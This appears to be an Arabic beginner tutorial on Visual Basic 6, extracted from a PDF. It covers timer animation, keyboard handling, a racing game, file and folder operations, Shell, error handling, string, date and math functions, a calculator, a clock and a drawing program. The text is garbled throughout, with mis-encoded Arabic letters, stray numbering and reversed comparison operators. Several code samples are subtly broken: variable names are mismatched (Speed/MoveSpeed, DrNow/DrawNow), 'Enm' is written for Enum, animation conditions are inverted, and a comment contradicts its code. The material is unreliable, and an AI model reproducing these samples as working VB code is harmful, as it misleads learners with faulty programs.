 .. و تايمرImageسنستخدم في هذا المثال آائن الفورم و صورة من نوع 

  ..١٠٠ الخاصة بالتايمر الي Intervalغير 

يحب هنا أن نعرف ما هي أقصى نقطة يمكن للصورة أن تتحرك فيهـا               •
  ...ها لجهة اليسار وأقصى نقطة تتحرك في... لجهة اليمين 

أقصى نقطة تتحرك فيها الصورة لجهة اليسار هـي النقطـة صـفر لأن               •
في هـذه النقطـة تكـون أول الـصورة ملاصـقة لأول الفـورم مـن جهـة                   

  ..اليمين

أمــا أقــصى نقطــة تتحــرك فيهــا الــصورة لجهــة اليــسار فتحتــاج بعــض   •
  :الترآيز مع المفاهيم التالية

   أو عرض الفورمForm.Widthي  أقصى نقطة على يمين الفورم ه-١
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 مضافا إليهـا    Picture.Width أقصى نقطة على يمين الصورة هي النقطة         -٢
Picture.Left..   

 أقصى نقطة تتحرك عندها الصورة لجهـة اليمـين هـي أن يكـون مجمـوع                 -٣
Picture.Width + Picture.Left أقل من أو يساوي Form.Width ...  

وهـذه  ... رعة الـصورة لليمـين واليـسار        الآن سنعلن عن متغيـر يـساوي س ـ       
 و  Byte لـذا فأفـضل نـوع لهـذا المتغيـر هـو النـوع                ١٠٠السرعة لن تزيد عـن      

 لأن هذه هـذا المتغيـر       Integerلكننا على الرغم من هذا سنستخدم النوع        
... وهذا حـين تكـون الحرآـة مـن اليمـين لليـسار              ... قد يحمل قيمة سالبة     

 ..السالبة لا يصلح للقيم Byteوالنوع 

 سـنحدد مكـان الـصورة علـى أقـصى           Form_Loadفي إجراء تحميل الفـورم      
  :يسار الفورم وذلك لأن الحرآة ستبدأ من اليسار لليمين وذلك بالأمر التالي

PicMove.Left = 0  

 سنعلن عن ثلاثـة متغيـرات الأول هـو سـرعة            Genralثم في قسم الإعلان     
والثالـث هـو    ... ة من جهة اليمين     والثاني هو أقصى نقطة للحرآ    ... الحرآة  

  :وذلك آالتالي... أقصى نقطة للحرآة من جهة اليسار 

Dim Speed As Integer  
Dim FarLeft As Integer  

Dim FarRight As Integer  

  :سنعود الآن لحدث تحميل الفورم ونكتب فيه قيم هذه المتغيرات آالتالي

MoveSpeed = 50  
FarLeft = 0  
FarRight = Form1.Width  

  : في التايمرنكتب الكود التالي

PicMove.Left = PicMove.Left + MoveSpeed  

If PicMove.Left > FarLeft Then MoveSpeed = 50   

If (PicMove.Left + PicMove.Width) < FarRight Then MoveSpeed = 
-50 

  :شرح الكود السابق
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ــة      -١ ــصان القيم ــادة أو نق ــصورة بزي ــك ال ــر   حــسLeftتحري ــة المتغي ب قيم
.MoveSpeed..  

 فـإن قيمـة الحرآـة       FarLeft إذا وصلت الصورة لنقطة أقل مـن أو تـساوي            -٢
  .حتى يتغير اتجاه الحرآة... ستتغير إلى موجبة 

 فإن قيمة   FarRight لو وصلت الصورة إلى نقطة أآبر من أو تساوي قيمة            -٣
  .الحرآة ستتغير إلى قيمة سالبة

 استخدام لوحة المفاتيح

و لهـا   ، من اهم الاشياء التـي فـي صـنع الالعـاب اسـتخدام لوحـة المفـاتيح                
  ...آودهما سهلة جدا ولكن تحتاج الي فهم، نوعان

  :KeyCode :الاولي الطريقة •

 بل فـي    FormLoadتكتب آود الازرار في صفحة آود الفورم ولكن ليس في           
KeyDownفاتبع الخطوات التالية ..  

ــورم و   ) ١ ــود الفـ ــتح صـــفحة آـ ــراء قـــم بفـ ــر الاجـ  الـــي FormLoadغيـ
KeyDown..  

 :اآتب الكود التالي ) ٢

Private Sub Form_KeyDown (KeyCode As Integer, Shift As Integer) 
 If KeyCode=VbKeyX Then Image1.Visible = False                        

                                     End If                                             
                                        End Sub 

 ال اي مفتاح آخر في لوحـة المفـاتيح و ايـضا يمكـن            Xيمكن تغيير   : ملحوظة
  .  الي اي حدث آخرImage1.Visible = Falseتعديل الحدث 

يجــب ، الـخ ...Ctrl, Alt, Esc, Delعنـد اســتخدام ايـا مــن الازرار   : ملحوظـة 
 ..  و هكذاEscape تكتب Escو ، Control تكتب Ctrl تها آامله فمثلاآتاب

  :ASCII :الثانية الطريقة

ولكـن فـي    ، و هذه الطريقة اصعب بقليل تكتب تمامـا آمـا بـالكود الـسابق              
KeyPressفتكتب آوده هكذا،  و مع بعض التغييرات..  

If Ascii = # Then 

Image1.Visible = True 
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End If 

 ١٣ تكــون Enter فمـثلا  ASCIIز الــي رقـم المفتــاح فـي صــيغة    يرم ـ#الرمـز  
  ..وهكذا

 ...Image1.Visible = Trueويمكن طبعا تغيير الاجراء 

يجـب ان لا يكـون اي آـائن         ، عنـد اسـنخدام ايـا مـن هـذه الطـرق           : ملحوظة
ــالطبع هــذا صــعب جــدا  ، محــدد ــود فــي    ، و ب ــادي هــذا اآتــب هــذا الك لتف

Form_Load:  

Form1.KeyPreview = True 

 

يمكنــك صــنع ،  الخاصــة بلوحــة المفــاتيح آلهــا ASCIIلمعرفــة ارقــام  •
 :ضع ليبل في فورم و اآتب هذا الكود، برنامج بسيط لمعرفة الرقم

Private Sub Form_KeyPress(KeyAscii As Integer) 

Label1.Caption = KeyAscii 

End Sub 

  الفكرة و وضع الكائنات

  :الفكرة

فقـط تكتـب اسـمك و سـرعة         ،  سـهلة و بـسيطة     سنصنع الان لعبة سـباق    

   .... منافسك ثم تضغط ابدأ ليبدأ العد التنازلي للعب ثم تلعب

  :ضع الكائنات آما تري بالشكل

  

Image1 

Image2 

Label1 
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يجب آتابة الاسماء الموضحة آما هي و الا عليك تغييرها في الكـود              •
 ..ايضا

  :Timers خصائص

Timer1 : ١٠٠٠غير انترفال الي..  

Timer2 : و الخاصية ١٠٠غير انترفال الي Enabled الي False..  

Timer3 : و  ١غير انترفال الي Enabled الي False ..  

 آود اللعبة

  :Timer1 آود :اولا •

  :في هذا التايمر سنكتب آود العد التنازلي و تكون آالتالي

Dim X As Integer 

X  = Label1.Caption 

Label1.Caption = X – 1 

If X = 0 Then 

Label1.Visible = False 

Timer1.Enabled = False 

Timer2.Enabled = True 

Timer3.Enabled = True 

  ..علي ما اعتقد ان الكود واضح وليس بحاجة لشرح

  :Timer2 آود :ثانيا •

  :هذا التايمر سيكون مخصص لحرآة المنافس

Dim X 

X = Text2.Text 

Image2.Move Image2.Left + X 
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  :ابدأ زر آود :ثالثا •

Text1.Enabled = False 

Text2.Enabled = False 

Command1.Enabled = False 

Timer1.Enabled = True 

  :Timer3 آود :رابعا •

  :هذا التايمر سنكتب به طريقة الفوز باللعبة بالنسبة اليك و للمنافس

Dim X 

X = Text2.Text 

If Image1.Left > 6720 Then 

Timer1.Enabled = False 

Timer2.Enabled = False 

Timer3.Enabled = False 

MsgBox " مبروك" & X & "! لقد ربحت!" 

End 

ElseIf Image2.Left > 6720 Then 

Timer1.Enabled = False 

Timer2.Enabled = False 

Timer3.Enabled = False 

MsgBox " للاسف" & X & "! لقد خسرت!" 

End 

End If 

  .. هو اقصي نقطة لليسار٦٧٢٠حيث يكون الرقم 
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  :الحرآة آود :خامسا •

  : الخاص بالفورمKeyDownاآتب هذا الكود في الاجراء 

If Label1.Visible = True Then 

   If KeyCode = vbKeyLeft Then 

   Image1.Move Image1.Left + 180 

   ElseIf KeyCode = vbKeyRight Then 

   Image1.Move Image1.Left – 180 

   End If 

End If 

 

اذا قرأت الدروس السابقة الخاصة بالالعاب فلن تحتـاج الـي ان اشـرح هـذه                
 ..الاآواد

 المتغيرا ت
 

، تحفــظ بــه بعــض البيانــات المؤقتــة المتغيــر عبــارة عــن مكــان  غيــر مرئــي  
   ..رنامجسرعان ما تفقد قيمتها و مساحتها عند اغلاق البو

  :انواع المتغيرات

و هي متغيرات تقبل ارقاما فقط و تتيح عملية ضرب و الطـرح              : رقمية ) ١
  .الخ..
 ..و هي متغيرات تقبل سلاسل حرفية مهما آان محتواها:  حرفية ) ٢
 ..و هي متغيرات التي تقبل ارقام العملات:  عملة ) ٣
 ..تغيرات تحمل قيم التاريخ و الوقتو هي م:  وقت–تاريخ   ) ٤
و هي متغيرات تخصصها انت بنفسك عن طريق        : متغيرات متخصصة   ) ٥

 ..Formatالامر 
و هي متغيرات تقبـل آـل الـصور الـسابقة و لكـن              : Variant  متغيرات ) ٦

 ..تشغل مساحة آبيرة من الذاآرة



ezonet@hotmail.com 51

   الرقمية أنواع المتغيرات

 وع الن القيمة المساحة
ــز  ــن  ١يحجــ ــت مــ  بايــ
 الذاآرة

يسمح باستخدام ارقام    
 ..٢٥٥ و ٠صحيحة بين 

Byte 

  بايت٢يحجز 

 

يسمح باستخدام ارقام    
 و  ٣٢٧٦٧–صحيحة بين   

٣٢٧٦٧.. 

Integer 

  بايت٤يحجز 

 

يسمح باستخدام ارقام    
ــين  ــحيحة بــــــ –صــــــ

 الــــــــي ٢١٤٧٤٨٣٦٤٧
٢١٤٧٤٨٣٦٤٧.. 

Long 

  بايت٦

 

يسمح باستخدام ارقام    
- آسرية و عشرية بين
3.402823E+38 الـــــي
3.402823E+38 

Single 

  بايت١٠

 

يسمح باستخدام ارقام    
 آبيـرة جـدا تـصل الـي    

1E+9000 

Double 

  
 Enumالترآيبات 

 
 

طيع تعريـف   و بها تـست   ، Enumeration هي اختصار لكلمة     Enumالكلمة  
انظر هـذا   ، Genralنوع جديد من المتغيرات تسميه بنفسك و تكتب في          

  :المثال

Private Enm Name 

Ahmed 

Mohamed 

Ehab 

Arafa 

End Enum 

و يمكنــك ، وهكــذا نكــون انــشأنا المتغيــر و يحتــوي علــي هــذه الاســماء 
  .استخدامه مثل المتغيرات تماما
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 UTDالترآيبات 
 

 و يمكـن ان تحتـوي علـي انـواع      ،رف هـذه الترآيبـات مـن قبـل المبـرمج     تع ـ
  :مختلفة من البيانات و تعرف آما يلي

Private Type FootBall 

BestPlayer As String 

Age As Integer 

Cool As Boolean 

End Type 

  ..FootBallو عند الاستخدام ستجد ان هذه البيانات موجودة في المتغير 

 
  مجلداتانشاء و مسح

  : و يكون آالآتيRmdirلمسح اي مجلد في مكان معين نستخدم الامر
 
Private Sub Command1_Click() 
On Error Resume Next 
RmDir (App.Path + "\Bibo”) 

١٢. End Sub 
 

  .. في مسار البرنامجBiboهكذا سيمسح ملف اسمه  •
 

  : آالتاليMkdirو لانشاء مجلد نستخدم 
 
Private Sub Command1_Click() 
On Error Resume Next 
MkDir (App.Path & "\Bibo") 

End Sub 
  

  .. في مسار البرنامجBiboو هذا الكود سينشئ ملف اسمه  •
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   ..يمكنك طبعا تغيير مكان انشاء او حذف المجلد

  نقل ملف

  :اخر نستخدم هذا الكودلنقل ملف من مكان الي مكان 

Private Sub Command1_Click() 

Name (“C:\Test.txt”) As (“D:\Bibo.txt”) 

End Sub 

و يمكنـك   ، Bibo.txt الي مكان اخر باسم      Test.txtوهكذا سيتم نقل الملف     
 تغيير مكـان و اسـم الملـف الاول          وطبعا يمكنك .. ايضا تغيير امتداده اذا اردت    

  ..الثانيو

 
 

فاتمسح المل  
  

 
  : و يكون آالآتيKill Callلمسح اي ملف في مكان معين نستخدم الامر

 
Private Sub Command1_Click() 
Call Kill (“Path") 

End Sub 
 

  : هي مسار الملف مع آتابة اسمه فتكون مثلاPathحيث 
 
Private Sub Command1_Click() 
Call Kill (“C:\Ehab.txt") 

End Sub 
 

 و  txt.* الي   Ehab.txt نغير   Cو لمسح جميع ملفات التكست الموجودة في        
لكـن احـذر فعنـد      ،  و يمكن تغيير البـاترن     *.*لمسح آل الملفات نغيرها الي      

المسح لا يظهر لك رسالة و لا يذهب الملف الي سلة المهملات بل يحذف              

    ..تماما
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ــك ا ــق     يمكنـ ــن طريـ ــة عـ ــصورة مرئيـ ــسك بـ ــاره بنفـ ــف تختـ ــذف ملـ ن تحـ
CommonDialogآالتالي :  

  
  : و زر امر واآتب به هذا الكودCommonDialogضع 

  
Private Sub Command1_Click() 
CommonDialog1.ShowOPen 
Call Kill (CommonDialog1.FileName) 
End Sub 
 

   .. يحذف الملفOKو هكذا بمجرد اختيار الملف و ضغط 

 

  البحث عن ملفات

  : للبحث عن الملفات آما يليDIRتستخدم الدالة 

Dim Fname As String 

Fname = Dir$(“C:\Windows\*.exe”) 

Do While Len(Fname) 

List1.AddItem Fname 

Fname = Dir$ 

Loop 

  ..Listها في  و وضعBmpوهكذا يقوم البرنامج بالبحث عن ملفات 

 خصائص اخري للملفات
 

   :اخفاء الملفات 
 
Private Sub Command1_Click() 
SetAttr "Path", vbHidden 

End Sub 
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   :Read Onlyجعل الملفات قراءة فقط 
  

Private Sub Command1_Click() 
SetAttr "Path", vbReadOnly 

End Sub 
 

   : ارشيف
  

Private Sub Command1_Click() 
SetAttr "Path", vbArchive 

١٣. End Sub 
  

 ... هي مسار الملف و اسمهPathو تكون 
 

  : معرفة خصائص ملف ما
Private Sub Command1_Click() 
Dim fso, d, f, s 
filespec = "c:\autoexec.bat" ' مثال ملف 
Set fso = CreateObject("Scripting.FileSystemObject") 
Set f = fso.GetFile(filespec) 
s = UCase(f.Path) & vbCrLf 
s = s & Chr(13) & "تاريخ الإنشاء: " & Chr(9) & f.DateCreated 
s = s & Chr(13) & "تاريخ التعديل: " & Chr(9) & f.DateLastAccessed 
s = s & Chr(13) & " عديل الأخيرالت :" & Chr(9) & f.DateLastModified 
MsgBox s, vbMsgBoxRight + vbMsgBoxRtlReading + vbYes, 
"Résultat" 
End Sub 

 
  :اعادة تسمية ملف

 
Name “C:\Bibo.txt” As “C:\Ehab.bmp” 
 

  

ــق     ــن طري ــا ع ــف مرئي ــار المل ــك اختي ــذف  .. CommonDialogيمكن ــع ح راج
  ..ت و درس فتح البرامجالملفا
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  فتح البرامج

 Shellيمكن فتح اي برنامج عن طريق استخدام فيجوال بيسيك عـن طريـق    
  :و تكتب الكود آالتالي

Private Sub Command1_Click() 

A = Shell("C:\WINDOWS\notepad.exe", vbNormalFocus) 

End Sub 

و اذا اردت فـتح     ، NotePadو الان عند الضغط علي الزر سـوف يفـتح برنـامج             
  ..برنامج اخر غير مسار الملف

ــق        ــن طريـ ــة عـ ــصورة مرئيـ ــسك بـ ــاره بنفـ ــف تختـ ــتح ملـ ــك ان تفـ يمكنـ

CommonDialogآالتالي :   
  

  : و زر امر واآتب به هذا الكودCommonDialogضع 
  

Private Sub Command1_Click() 
CommonDialog1.ShowOPen 
A = Shell(CommonDialog1.FileName) 
End Sub 

   .. يفتح الملفOKو هكذا بمجرد اختيار الملف و ضغط 

 الاخطاء و انواعها
  

يمكن ان تخطئ فـي آتابـة آـود او مـا            ، عند عمل برنامج بالفيجوال بيسيك    
ــامج   ، شــابه ــاء تــشغيل البرن ــر مرئيــة تحــدث اثن ــضا اخطــاء غي  بــل هنــاك اي

  .. باستمرار
  

  :الاخطاء انواع
  

SyntaxError :و هذا النوع من الاخطاء يحدث اثناء آتابة الكود.  
  

RunTimeError :       مـثلا عنـد تحميـل تحميـل        ، و هو توقـف مفـاجئ للبرنـامج
فيحـدث هـذا النـوع مـن        ، ولم يجد البرنـامج هـذه الـصورة       ،  مثلا Cصورة في   
  ..الاخطاء
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LogicalError :    فيكتـب آـود تـؤدي الـي        ، ن قبل المبـرمج   و هو خطأ يحدث م
  ...نتيجة لا يريدها

 
 تفادي الاخطاء

 

  :بالبرنامج التي تحدث الاخطاء جميع تفادي

اتفادي جميع الاخطاء التي تحدث اثناء تشغيل البرنامج اآتـب هـذا الـسطر              
  :في بداية آل آود

On Error Resume Next 

 

  :RunTimeError حدوث اثناء تنبيه ةرسال

  : تظهر رسالة محتوياتها آالتاليRunTimeErrorعند حدوث 

RunTimeError ‘#’ 

ErrType 

 

 او CantLoadFile   نوع الخطأ مثلErrTypeو ،  هي رقم الخطأ#حيث تكون 
CantFindFile..  

لـف و    اي لا يمكن العثور علي الم      CantFindFileو لنفترض ان نوع الخطأ هو       
و تريـد آتبـة     ، 53اما رقمـه فهـو      ، يحدث اثناء تحميل صورة و نص غير موجود       

  :فاآتب الكود هكذا، آود عند حدوث هذا الخطأ تظهر رسالة تنبيه

On Error GoTo Bibo 

Bibo: 

If Err.Number = 53 Then 

MsgBox “ ..هذا الملف لا وجود له ”, 16 

End If 

  ..ذه الرسالةو هكذا عند وقوع هذا الخطأ ستظهر ه
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و اذا اردت ان يظهر رقم الخطأ و سـببه برسـالة باسـم مـشروعك اسـتخدم          
  :هذا الكود

On Error GoTo Ehab  

Ehab: 

If Err Then 

MsgBox Err.Number & Chr(10) & Err.Description, 16 

End 

End If  

  السلاسل الحرفية

لنـصوص فـي   هي الصورة التى يتم بها تخـزين ا  Strings السلاسل الحرفية
 . ذاآرة الحاسب

جميع الدوال التى تتعامـل  مـع النـصوص يـتم تمريـر نـص إليهـا  فـي صـورة            
 ..Stringمتغير حرفي 

  :يمكن دمج متغيرين حرفين آما بهذا الكود

Dim String1 As String 

Dim String2 As String 

String1 = "Bibo" 

String2 = "Ehab" 

Label1.Caption = String1 & String2 

و قمـت بوضـع ليبـل و        ، وهكذا اعلنا عن متغيرين من نوع حرفي و عرفنـاهم         
   .. بهString2 و String1اظهار قيمة 

  تغيير حالة الاحرف

 :آبيرة احرف الي الاحرف تحويل •

 :و زر امر و اآتب هذا الكود، ضع تكست بوآس

Text1.Text = UCase(Left(Text1.Text, Len(Text1.Text))) 
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 :صغيرة احرف الي الاحرف تحويل •

  :و زر امر و اآتب هذا الكود، ضع تكست بوآس

Text1.Text = LCase(Left(Text1.Text, Len(Text1.Text))) 

 :صغير آبير و الباقي الاولالحرف  •

  :و زر امر و اآتب هذا الكود، ضع تكست بوآس

X = Text1.Text 

Y = UCase(Left(X, 1)) 

Z = LCase(Right(X, Len(X) - 1)) 

Text1.Text = Y & Z & g 

 :الاحرف شقلبة •

  :و زر امر و اآتب هذا الكود، ضع تكست بوآس

Text1.Text = StrReverse(Text1.Text) 

  دوال نصية

 

 :ترجع طول نص معين وتستخدم آما يلي  Len: الدالة

Dim Stl As Integer 

Stl = Len(String1) 

 

 :و تستخدم آما يلي، تمحو المسافات من بداية ونهاية النص Trim: الدالة

Result = Trim(String1) 

 

  :وتستخدم آما يلي. تمحو المسافات من بداية النص  LTRim: الدالة

Result = LTrim(String1) 
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 :وتستخدم آما يلي. ن نهاية النص  تمحو المسافات  م RTrim: الدالة

Result = Rtrim(String1) 

  

ويـستخدم  آمـا   ، من الأحرف من بدايـة الـنص   ترجع عدد معين Left: الدالة
   :هو موضح

Result = Left(String1, 1) 

ترجع عدد معين من الأحرف من نهاية الـنص وتـستخدم آمـا      Right: الدالة
 :هو موضح

Result = Right(String1, 1) 

 

ترجع عدد معين من الاحرف مـن وسـط الـنص بدايـة مـن حـرف        Mid: الدالة
 :محدد وتستخدم آما يلي

Result = Mid (String1, 2, 1) 

 

 :وتستخدم آالآتي AscII تعطى الحرف المقابل للكود ()chr:  الدالة

Result = Chr(13) 

 

 :المقابل لحرف معين وتستخدم آالآتي ASCII تعطى آود   ()ASC: الدالة

Dim AscCode 

AscCode =  Asc(“E”) 

 

وتـستخدم آمـا   . لتحويل المتغيـر الرقمـي إلـى صـيغة نـصية       () Str: الدالة
 :يلى
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Result = Str(“5”) 

 

لتحويل المتغيـر  النـصي إلـى صـيغة رقميـة  وتـستخدم آمـا         () Val: الدالة
  :يلى

Dim Number 

Number = Val(String1) 

 

 فهـي اي    String1اما بالنسبة لكلمة    ، جميع ارقام هذه الدوال قابلة للتغيير     
الكائن المراد ظهور النتيجة به وليكن       Result و     Stringمتغير حرفي من نوع     

  ..مثلاليبل 

هــذه امثلــة للــدوال امــا اذا اردت معرفــة معظــم الــدوال المــستخدمة فــي    
الفيجــوال بيــسيك افــتح درس بعــض الــدوال فــي التعامــل مــع الاجرائــات و   

 ..الدوال

  ألتعامل مع التاريخ 

  :الكود هذا استخدم الاصلي التاريخ علي شهور او ايام زيادة •

Label1.Caption = DateAdd(Interval, Number, Date) 

و ، ”M“او شـهور   ”D“ هي المراد زيادته سواء آان ايام Intervalحيث تكون 
Number               و  ،  هو رقـم الايـام او الـشهور او الـسنين المـراد زيادتهـاDate   هـو 

  ..و آما يتبين ان النتيجة ستظهر في ليبل.. التاريخ الحالي

  :مثال

Date1 = DateAdd(“M”, 3, Date) 

  

  :تاريخين بين المقارنة •

Label1.Caption = DateDiff(Interval, "Date1", "Date2") 
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Date1   و  ،  هي التاريخ الاولDate2    امـا   ،  هي التاريخ الثـانيInterval   فهـي 
و لظهورهـا بالـسنين   ، ”D“ و ايـام   ”M“المراد ظهـور النتيجـة بـه مـن شـهور            

  :الكتب هذا الكود
  

Label1.Caption = DateDiff("m", "14/7/1989", "26/4/2003") \ 12 
 

 :اخري بطرق التاريخ آتابة •
  

 و لكـن مـاذا اذا اردنـا         مختـصر  ذآرت من قبل آيفية عمل تـاريخ         لقد
 بــالأحرفآتابــة اليــوم وحــده و الــشهر وحــده و الــسنة وحــدها؟؟ و 

 ايضا؟؟
  ..م هذه الاآواد مثلا ثم استخد١٠٠٠ الي ما تريد Intervalضع تايمر و غير 

  
  : السنةآتابة

Label1.Caption = Format (Date, “YYYY”) 
 : الشهر بالحروفآتابة

Label2.Caption = Format (Date, “MMMM”) 
 : الشهر بالارقامآتابة

Label3.Caption = Format (Date, “MM”) 
 : اليوم بالحروفآتابة

Label4.Caption = Format (Date, “DDDD”) 
 :م اليومرق آتابة

Label5.Caption = Format (Date, “DD”) 
 
 

    ...يظهر التاريخ بطريقة مختلفة في آل واحدة،  ليبل5آما تري لدينا 
  

  
و لكــن يمكنــك ايــضا آتابــة التــاريخ ، المــيلادي بالنــسبة للتــاريخ هــذا •

 حيـث عنـد الـضغط       مـثلا بالهجري عن طريق آتابة هذه الكود فـي زر          
   ..عليه تتغير التواريخ من ميلادي الي هجري

١٤. Calendar = vbCalHijri  
  

 :و للتاريخ الميلادي •
١٥. Calendar = vbCalGreg  

  العمليات المنطقية

 .. True فتكون نتيجة الشرط Falseاذا آانت هذه العملية : Notعملية 
  ..Trueيحان لتكون النتيجة يجب ان يكون الشرطان صح: Andعملية 
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 .. اذا آان احد الشرطين صحيحTrueتكون : Orالعملية 
إذا آان واحد فقط مـن التعبيـرين الـشرطين     True تكون النتيجة: Xorعملية 

 . صحيحًا  وتكون النتيجة خطأ إذا آان آلاهما صح أو خطأ
إذا آان آلا التعبيـرين الـشرطين صـحيحًا أو     True ةتكون النتيج: Eqvعملية 

  .خطأ 

 
  دوال رياضية

  
  Mathematics Functions : الرياضية الدوال
 

ترجـع القيمـة المطلقـة لآي عـدد وترجعـه مـن نفـس نـوع          Abs : الدالـة 
البيانات المعطى للدالـة والمقـصود بالقيمـة المطلقـة هـي قيمـة العـدد                

فمـثلا لـو    ، وهكـذا ) ١٣(مثلا هي   ) ١٣-( ل   بدون إشارة فالقيمة المطلقة   
 ..آتبنا الكود التالي

 
Number=Abs(-45.6) 
Text1.Text = Number 

 
 Number=45.6 فإن نتيجة تنفيذ الدالة هي 

ولاحظ أن القيمة المدخلة للدالة لابد أن تكون عدد أو تعبيـر عـددي فـإذا                
وإذا آانت القيمة  Null ستكون النتيجة Null آانت القيمة المدخلة للدالة

المدخلة للدالة متغير فارغ أو لـم يـتم تعيـين قيمـة لـه سـتكون النتيجـة                   
 ..صفر

 
 

تستخدم هذه الدالة في تحديد الجذر التربيعي لـرقم معـين    Sqr : الدالة
 . وتأخذ الصورة العامة التالية

 
Number=Sqr(25) 
Text1.Text = Number 

  
  ..Number=5 ذ الدالة هي فإن نتيجة تنفي 

 
  

تستخدم هذه الدالة في تحديـد قيمـة اللوغـاريتم العـشري      Log: الدالة
  : لرقم وتأخذ الصورة العامة التالية

 
Number=Log (20) 
Text1.Text = Number 
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  MyNumber=2.9957327.. فإن نتيجة تنفيذ الدالة هي 
 

وتستخدم هذه الدالة لحساب الجزء الصحيح فقط مـن رقـم     Int: الدالة     
يشتمل علي أرقام صحيحة وعشرية أو بعبارة أخر لحـذف الأرقـام العـشرية              

 : الموجودة بعد العلامة العشرية بدون تقريب وتأخذ الصورة التالية
 

Number=Int (332.54) 

Text1.Text = Number 
  

  MyNumber=332 يفإن نتيجة تنفيذ الدالة ه
 

 
" ظتـا "تستخدم هذه الدالة في حساب مقلـوب ظـل الزاويـة     Atn: الدالة

للرقم الذي تشتمل علية مقدار بالتقـدير الـدائري وتأخـذ الـصورة العامـة               
 : التالية

 
MyNumber=Atn (رقم) 
Text1.Text = MyNumber 

  
  
 هذه الدالة في تحديد قيمـة ظـل زاويـة معينـة وتأخـذ      تستخدم Tan: الدالة

  : الصورة العامة التالية
MyNumber=Tan (رقم) 
Text1.Text = My Number 
 

 
وتستخدم هذه الدالة في تحديد قيمة جيب تمام الزاوية معينـة   Cos: الدالة

 : وتأخذ الصورة العامة التالية
 

MyNumber=Cos (رقم) 
Text1.Text = MyNumber 

  
 

تـستخدم هـذه الدالـة فـي تحديـد قيمـة جيـب زاويـة معينـة           Sin: الدالة
 : وتأخذ الصورة العامة التالية

 
Number=Sin (رقم) 
Text1.Text = Number 
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 وضع الكائنات

للآلـه  في البداية سوف نعد النموذج الذي سيكون هـو الواجهـة الأساسـية              
   ..وآذلك إعداد العناصر الموجودة بداخل النموذج.  ..الحاسبة

  .T1, T2 و سميهما  Text Box ٢ضع  •

/ ÷  / - / + و ضع عليها علامـات اللآلـه    Command Button 5 ضفا •
×..  

 Fixed الـي   Border Styleو غير الخاصـية  ، في الاعلي Labelأضف  •
Stingle لجعل اللابل محاط باطار .. 

 ...اسبةالحسم الفورم باسم  •

  :هذا الشكلالمفروض أن يكون شكل المشروع الآن قد وصل إلى  •

 
 

 الفكرة
 
فكرة هذه الآله بسيطة جدا حيث تكتب رقم فـي التكـست الاول و              
ــة       ــاجراء العملي ــامج ب ــوم البرن ــي اي زر ليق ــط عل ــم تطغ ــاني ث الث

 .الحسابية و اظهار النتيجة في اللابل
 

  :الكود
١٦.   
 و اآتـب الكـود    +افـتح نافـذه الكـود المخصـصة للـزر المكتـوب عليـة         •

 :التالي
 
Private Sub Command1_Click() 
Dim X, Y 
X = Val(t1.Text) 
Y = Val(t2.Text) 
Label1.Caption = X + Y 
End Sub 
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 :الكود بشرح  لنقومو الآن

تغيـر و هـو قيمـة التكـست ليتعامـل معهـا              في السطر الاول قمنا بانـشاء م      
آأنها ارقام و قمت بتعريفها بالسطر الثاني و الثالث و قد اسـتخدمت آلمـة               

Val     و ،  قبل التعريف ليتعامل مع هذه التكست آارقـام و لـيس آلامـا عاديـا
ــسألة    ــه الم ــت بكتاب ــع قم ــي الراب ــد     ،ف ــا عن ــة فيه ــي أول قطع ــن ف و لك

Label1.Caption =  تكـون آلمـات هـذا اللابـل تـساوي هـذه        اسـتخدمتها ل
  ... أرجو ان تكونوا فهمتم ما اعني... المسألة

 
١٧.  
١٨.  
١٩.  
٢٠.  
٢١.  
٢٢.  
٢٣.  
٢٤.  
٢٥.  
٢٦.  

 
 و اآتــب الكــود  -افــتح نافــذه الكــود المخصــصة للــزر المكتــوب عليــة  .٢٧

 :التالي
 

Private Sub Command2_Click() 
Dim X, Y 
X = Val(t1.Text) 
Y = Val(t2.Text) 
Label1.Caption = X - Y 

End Sub 
 

 ..آرر هذه الكود في بقية الازرار مع تغيير رقم الزر و العلامة •
   في الفيجوال بيسيكبعض الرموز المستخدمة

 

. يجب ان تعرفها قبل آتابة الكودهناك بعض الرموز التي مرت  

 > أصغر من

 < أآبر من

 <> لا يساوي
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 => أصغر من أو يساوي

 =< أآبر من أو يساوي

 +  للجمع زائد

 - ناقص للطرح أو سالب

 * في للضرب

 / على للقسمة

 \ القسمة بدون آسور

 ^ الاوس

 Mod الباقي من القسمة

ــل     ــات مثـ ــع علامـ ــدوال    ،Tan و Cosاذا اردت وضـ ــتخدام الـ ــك اسـ فيمكنـ
 .. الرياضية

 الساعة و التاريخ

 

ة لا تتصورها فكل ما عليك هـو آتابـة   آود الساعة و التاريخ سهلة جدا بدرج    
  :هذا الكود في التايمر الذي وضعته

Private Sub Timer1_Timer() 

Label1.Caption = Time 

Label2.Caption = Date 

End Sub 

هل رأيت اآثر من ذلك سهولة؟؟ فالـساعة و التـاريخ يؤخـذان مـن سـاعة و            
 حـسب اسـم اللابـل       Label2 و   Label1 و بالطبع يمكنك تغيير      Systemتاريخ  

 ...او التكست

  الكائناتوضع

 
 

• Label1 و Label2غيــر   و تــايمر وInterval و غيــر اســم ، ١٠٠٠ الــي
  ..الساعة و التاريخالفورم الي 

 
  :ضع هذه الكائنات لتكون بهذا الشكل •
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  الفكرة

  

الفكـرة  ، لـيس بـه غيـر قلـم فقـط         ، امج رسـم بـسيط    سنقوم الان بعمل برن ـ   
  ..بسيطة و سهلة و الكود ايضا

لن تحتوي الفورم علي اي آائنات لان الفورم هي ما سنـستخدمه للرسـم              
  ..عليها

  الكود
  

  :آود الرسم سهلة فمثلا لو اردت رسم بالقلم تكتب

If Button = 1 Then 

Line – (X, Y), vbGreen     ‘لون الخط و يمكنك تغييره 

End If 

عنـد آتابـة    ،  الخاص بالـصورة ولكـن هنـاك مـشكلة         MouseMoveفي اجراء     
الكود هكذا ستجد ان هناك خط يبدأ من اعلي الشاشة حتي المكان الـذي             

  :و لمعالجة هذه المشكلة اتبع الاتي، تمشي فيه

  :Genralاآتب هذا الكود في 

Dim DrNow As Integer 

  .Integerلسطر عرفنا متغير من نوع في هذا ا

 :MouseDownو هذا الكود في 

DrawNow = -1 

CurrentX = X 

CurrentY = Y 
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  :و سيتم تعديل آود الرسم ايصبح آما يلي

If DrNow And Button = 1 Then 

Line – (X, Y) 

End If 

 ..MouseUpو اخيرا هذا الكود في 

DrNow = 0 

 
 

 انواع الرسوم المختلفة
  

 
هذه طرق مختلفة للرسم و يمكنك استخدامها مثل استخدام القلم بنفس           

  :الطريقة
 
 

 :قلم •
Line -(X, Y), vbBlue 
 

 
  :دوائر صغيرة قلم مع •

Line -(x, y), vbGreen 
Circle (x, y), 50 
 

  :الالوان رش •
